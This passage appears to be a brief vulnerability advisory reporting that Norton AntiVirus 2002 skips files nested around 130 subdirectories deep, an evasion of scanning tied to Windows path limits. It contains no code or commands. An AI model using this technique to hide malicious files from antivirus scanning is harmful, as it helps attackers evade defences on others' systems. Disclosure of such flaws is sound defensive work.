Norton AntiVirus nested file manual scan bypass.....
Norton AntiVirus nested file manual scan bypass.....
Product Version: Norton Antivirus 2002 (~Only tested On...~)
Risk Impact: Medium
Vendor Status: No responce!
Summary:
If you manage to inject a file in the sub-directory(s); beyond windows OS can
create normally, [ say in 130 'th + sub-directory at c:\..\..\..\....upto
130'th ... ] NAV fails to scan the NESTED FILE. Indeed, it's more a windows
restriction in accesing the nested file than a ANTIVIRUS flaw. Other antivirus
product should also suffer the same. *.PLEASE VERIFY.* NAV
